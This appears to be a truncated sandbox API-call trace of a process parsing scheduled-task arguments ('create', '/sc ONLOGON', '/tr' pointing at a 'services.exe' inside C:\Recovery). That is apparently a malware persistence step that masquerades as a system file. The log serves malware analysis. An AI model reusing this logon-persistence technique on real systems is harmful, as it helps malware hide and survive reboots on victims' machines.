[0060.086] lstrlenW (lpString="tn") returned 2 [0060.086] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.086] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0060.086] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.086] lstrlenW (lpString="|m|") returned 3 [0060.086] lstrlenW (lpString="|tn|") returned 4 [0060.086] SetLastError (dwErrCode=0x490) [0060.086] lstrlenW (lpString="i") returned 1 [0060.087] lstrlenW (lpString="i") returned 1 [0060.087] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.087] lstrlenW (lpString="tn") returned 2 [0060.087] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.087] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0060.087] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.087] lstrlenW (lpString="|i|") returned 3 [0060.087] lstrlenW (lpString="|tn|") returned 4 [0060.087] SetLastError (dwErrCode=0x490) [0060.087] lstrlenW (lpString="tn") returned 2 [0060.087] lstrlenW (lpString="tn") returned 2 [0060.087] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.087] lstrlenW (lpString="tn") returned 2 [0060.087] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.087] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.087] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.087] lstrlenW (lpString="|tn|") returned 4 [0060.087] lstrlenW (lpString="|tn|") returned 4 [0060.087] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0060.087] SetLastError (dwErrCode=0x0) [0060.087] SetLastError (dwErrCode=0x0) [0060.087] lstrlenW (lpString="services") returned 8 [0060.087] lstrlenW (lpString="-/") returned 2 [0060.087] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0060.088] SetLastError (dwErrCode=0x490) [0060.088] SetLastError (dwErrCode=0x490) [0060.088] SetLastError (dwErrCode=0x0) [0060.088] lstrlenW (lpString="services") returned 8 [0060.088] StrChrIW (lpStart="services", wMatch=0x3a) returned 0x0 [0060.088] SetLastError (dwErrCode=0x490) [0060.088] SetLastError (dwErrCode=0x0) [0060.088] lstrlenW (lpString="services") returned 8 [0060.088] SetLastError (dwErrCode=0x0) [0060.088] SetLastError (dwErrCode=0x0) [0060.088] lstrlenW (lpString="/sc") returned 3 [0060.088] lstrlenW (lpString="-/") returned 2 [0060.088] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.088] lstrlenW (lpString="create") returned 6 [0060.088] lstrlenW (lpString="create") returned 6 [0060.088] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.088] lstrlenW (lpString="sc") returned 2 [0060.088] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.088] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.088] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.088] lstrlenW (lpString="|create|") returned 8 [0060.088] lstrlenW (lpString="|sc|") returned 4 [0060.088] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0060.088] SetLastError (dwErrCode=0x490) [0060.088] lstrlenW (lpString="?") returned 1 [0060.089] lstrlenW (lpString="?") returned 1 [0060.089] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.089] lstrlenW (lpString="sc") returned 2 [0060.089] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.089] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0060.089] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.089] lstrlenW (lpString="|?|") returned 3 [0060.089] lstrlenW (lpString="|sc|") returned 4 [0060.089] SetLastError (dwErrCode=0x490) [0060.089] lstrlenW (lpString="s") returned 1 [0060.089] lstrlenW (lpString="s") returned 1 [0060.089] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.089] lstrlenW (lpString="sc") returned 2 [0060.089] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.089] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0060.089] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.089] lstrlenW (lpString="|s|") returned 3 [0060.089] lstrlenW (lpString="|sc|") returned 4 [0060.089] SetLastError (dwErrCode=0x490) [0060.089] lstrlenW (lpString="u") returned 1 [0060.089] lstrlenW (lpString="u") returned 1 [0060.089] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.089] lstrlenW (lpString="sc") returned 2 [0060.090] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.090] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0060.090] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.090] lstrlenW (lpString="|u|") returned 3 [0060.090] lstrlenW (lpString="|sc|") returned 4 [0060.090] SetLastError (dwErrCode=0x490) [0060.090] lstrlenW (lpString="p") returned 1 [0060.090] lstrlenW (lpString="p") returned 1 [0060.090] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.090] lstrlenW (lpString="sc") returned 2 [0060.090] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.090] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0060.090] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.090] lstrlenW (lpString="|p|") returned 3 [0060.090] lstrlenW (lpString="|sc|") returned 4 [0060.090] SetLastError (dwErrCode=0x490) [0060.090] lstrlenW (lpString="ru") returned 2 [0060.090] lstrlenW (lpString="ru") returned 2 [0060.090] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.090] lstrlenW (lpString="sc") returned 2 [0060.090] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.090] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0060.090] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.091] lstrlenW (lpString="|ru|") returned 4 [0060.091] lstrlenW (lpString="|sc|") returned 4 [0060.091] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0060.091] SetLastError (dwErrCode=0x490) [0060.091] lstrlenW (lpString="rp") returned 2 [0060.091] lstrlenW (lpString="rp") returned 2 [0060.091] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.091] lstrlenW (lpString="sc") returned 2 [0060.091] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.091] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0060.091] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.091] lstrlenW (lpString="|rp|") returned 4 [0060.091] lstrlenW (lpString="|sc|") returned 4 [0060.091] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0060.091] SetLastError (dwErrCode=0x490) [0060.091] lstrlenW (lpString="sc") returned 2 [0060.091] lstrlenW (lpString="sc") returned 2 [0060.091] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.091] lstrlenW (lpString="sc") returned 2 [0060.091] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.091] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.091] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.091] lstrlenW (lpString="|sc|") returned 4 [0060.091] lstrlenW (lpString="|sc|") returned 4 [0060.091] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0060.092] SetLastError (dwErrCode=0x0) [0060.092] SetLastError (dwErrCode=0x0) [0060.092] lstrlenW (lpString="ONLOGON") returned 7 [0060.092] lstrlenW (lpString="-/") returned 2 [0060.092] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0060.092] SetLastError (dwErrCode=0x490) [0060.092] SetLastError (dwErrCode=0x490) [0060.092] SetLastError (dwErrCode=0x0) [0060.092] lstrlenW (lpString="ONLOGON") returned 7 [0060.092] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0060.092] SetLastError (dwErrCode=0x490) [0060.092] SetLastError (dwErrCode=0x0) [0060.092] GetProcessHeap () returned 0xc0000 [0060.092] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdd6e0 [0060.092] _memicmp (_Buf1=0xdd6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.092] lstrlenW (lpString="ONLOGON") returned 7 [0060.092] GetProcessHeap () returned 0xc0000 [0060.092] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x10) returned 0xdd700 [0060.092] lstrlenW (lpString="ONLOGON") returned 7 [0060.092] lstrlenW (lpString=" \x09") returned 2 [0060.092] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0060.092] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0060.092] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0060.092] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0060.092] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0060.092] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0060.093] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0060.093] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0060.093] GetLastError () returned 0x0 [0060.093] lstrlenW (lpString="ONLOGON") returned 7 [0060.093] lstrlenW (lpString="ONLOGON") returned 7 [0060.093] SetLastError (dwErrCode=0x0) [0060.093] SetLastError (dwErrCode=0x0) [0060.093] lstrlenW (lpString="/tr") returned 3 [0060.093] lstrlenW (lpString="-/") returned 2 [0060.093] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.093] lstrlenW (lpString="create") returned 6 [0060.093] lstrlenW (lpString="create") returned 6 [0060.093] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.093] lstrlenW (lpString="tr") returned 2 [0060.093] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.093] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0060.093] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.093] lstrlenW (lpString="|create|") returned 8 [0060.093] lstrlenW (lpString="|tr|") returned 4 [0060.093] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0060.093] SetLastError (dwErrCode=0x490) [0060.093] lstrlenW (lpString="?") returned 1 [0060.093] lstrlenW (lpString="?") returned 1 [0060.093] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.093] lstrlenW (lpString="tr") returned 2 [0060.094] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.094] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0060.094] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.094] lstrlenW (lpString="|?|") returned 3 [0060.094] lstrlenW (lpString="|tr|") returned 4 [0060.094] SetLastError (dwErrCode=0x490) [0060.094] lstrlenW (lpString="s") returned 1 [0060.094] lstrlenW (lpString="s") returned 1 [0060.094] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.094] lstrlenW (lpString="tr") returned 2 [0060.094] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.094] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0060.094] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.094] lstrlenW (lpString="|s|") returned 3 [0060.094] lstrlenW (lpString="|tr|") returned 4 [0060.094] SetLastError (dwErrCode=0x490) [0060.094] lstrlenW (lpString="u") returned 1 [0060.094] lstrlenW (lpString="u") returned 1 [0060.094] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.094] lstrlenW (lpString="tr") returned 2 [0060.094] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.095] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0060.095] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.095] lstrlenW (lpString="|u|") returned 3 [0060.095] lstrlenW (lpString="|tr|") returned 4 [0060.095] SetLastError (dwErrCode=0x490) [0060.095] lstrlenW (lpString="p") returned 1 [0060.095] lstrlenW (lpString="p") returned 1 [0060.095] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.095] lstrlenW (lpString="tr") returned 2 [0060.095] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.095] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0060.095] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.095] lstrlenW (lpString="|p|") returned 3 [0060.095] lstrlenW (lpString="|tr|") returned 4 [0060.095] SetLastError (dwErrCode=0x490) [0060.095] lstrlenW (lpString="ru") returned 2 [0060.095] lstrlenW (lpString="ru") returned 2 [0060.095] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.095] lstrlenW (lpString="tr") returned 2 [0060.095] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.095] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0060.095] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.095] lstrlenW (lpString="|ru|") returned 4 [0060.095] lstrlenW (lpString="|tr|") returned 4 [0060.095] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0060.096] SetLastError (dwErrCode=0x490) [0060.096] lstrlenW (lpString="rp") returned 2 [0060.096] lstrlenW (lpString="rp") returned 2 [0060.096] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.096] lstrlenW (lpString="tr") returned 2 [0060.096] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.096] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0060.096] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.096] lstrlenW (lpString="|rp|") returned 4 [0060.096] lstrlenW (lpString="|tr|") returned 4 [0060.096] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0060.096] SetLastError (dwErrCode=0x490) [0060.096] lstrlenW (lpString="sc") returned 2 [0060.096] lstrlenW (lpString="sc") returned 2 [0060.096] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.096] lstrlenW (lpString="tr") returned 2 [0060.096] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.096] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0060.096] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.096] lstrlenW (lpString="|sc|") returned 4 [0060.096] lstrlenW (lpString="|tr|") returned 4 [0060.096] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0060.096] SetLastError (dwErrCode=0x490) [0060.096] lstrlenW (lpString="mo") returned 2 [0060.096] lstrlenW (lpString="mo") returned 2 [0060.096] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.096] lstrlenW (lpString="tr") returned 2 [0060.096] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.096] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0060.097] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.097] lstrlenW (lpString="|mo|") returned 4 [0060.097] lstrlenW (lpString="|tr|") returned 4 [0060.097] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0060.097] SetLastError (dwErrCode=0x490) [0060.097] lstrlenW (lpString="d") returned 1 [0060.097] lstrlenW (lpString="d") returned 1 [0060.097] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.097] lstrlenW (lpString="tr") returned 2 [0060.097] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.097] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0060.097] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.097] lstrlenW (lpString="|d|") returned 3 [0060.097] lstrlenW (lpString="|tr|") returned 4 [0060.097] SetLastError (dwErrCode=0x490) [0060.097] lstrlenW (lpString="m") returned 1 [0060.097] lstrlenW (lpString="m") returned 1 [0060.097] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.097] lstrlenW (lpString="tr") returned 2 [0060.097] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.097] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0060.097] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.097] lstrlenW (lpString="|m|") returned 3 [0060.097] lstrlenW (lpString="|tr|") returned 4 [0060.097] SetLastError (dwErrCode=0x490) [0060.098] lstrlenW (lpString="i") returned 1 [0060.098] lstrlenW (lpString="i") returned 1 [0060.098] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.098] lstrlenW (lpString="tr") returned 2 [0060.098] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.098] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0060.098] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.098] lstrlenW (lpString="|i|") returned 3 [0060.098] lstrlenW (lpString="|tr|") returned 4 [0060.098] SetLastError (dwErrCode=0x490) [0060.098] lstrlenW (lpString="tn") returned 2 [0060.098] lstrlenW (lpString="tn") returned 2 [0060.098] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.098] lstrlenW (lpString="tr") returned 2 [0060.098] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.098] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0060.098] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.098] lstrlenW (lpString="|tn|") returned 4 [0060.098] lstrlenW (lpString="|tr|") returned 4 [0060.098] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0060.098] SetLastError (dwErrCode=0x490) [0060.098] lstrlenW (lpString="tr") returned 2 [0060.098] lstrlenW (lpString="tr") returned 2 [0060.098] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.099] lstrlenW (lpString="tr") returned 2 [0060.099] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.099] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.099] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0060.099] lstrlenW (lpString="|tr|") returned 4 [0060.099] lstrlenW (lpString="|tr|") returned 4 [0060.099] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0060.100] SetLastError (dwErrCode=0x0) [0060.100] SetLastError (dwErrCode=0x0) [0060.100] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.100] lstrlenW (lpString="-/") returned 2 [0060.100] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.100] SetLastError (dwErrCode=0x490) [0060.100] SetLastError (dwErrCode=0x490) [0060.100] SetLastError (dwErrCode=0x0) [0060.100] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.100] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0060.100] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.100] _memicmp (_Buf1=0xdc470, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.100] _memicmp (_Buf1=0xdd680, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.100] SetLastError (dwErrCode=0x7a) [0060.100] SetLastError (dwErrCode=0x0) [0060.100] SetLastError (dwErrCode=0x0) [0060.100] lstrlenW (lpString="'C") returned 2 [0060.100] lstrlenW (lpString="-/") returned 2 [0060.100] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.100] SetLastError (dwErrCode=0x490) [0060.100] SetLastError (dwErrCode=0x490) [0060.100] SetLastError (dwErrCode=0x0) [0060.100] _memicmp (_Buf1=0xdd6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.100] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.101] GetProcessHeap () returned 0xc0000 [0060.101] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdd700) returned 1 [0060.101] GetProcessHeap () returned 0xc0000 [0060.101] RtlReAllocateHeap (Heap=0xc0000, Flags=0xc, Ptr=0xdd700, Size=0x80) returned 0xdc4b0 [0060.101] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.101] lstrlenW (lpString=" \x09") returned 2 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0060.101] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0060.102] StrChrW (lpStart=" \x09", wMatch=0x32) returned 